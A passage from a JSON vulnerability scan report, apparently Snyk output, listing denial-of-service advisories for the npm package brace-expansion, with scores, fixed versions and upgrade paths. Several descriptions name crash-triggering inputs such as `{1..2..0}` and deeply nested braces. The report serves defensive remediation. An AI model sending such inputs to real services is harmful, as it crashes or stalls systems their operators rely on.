"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
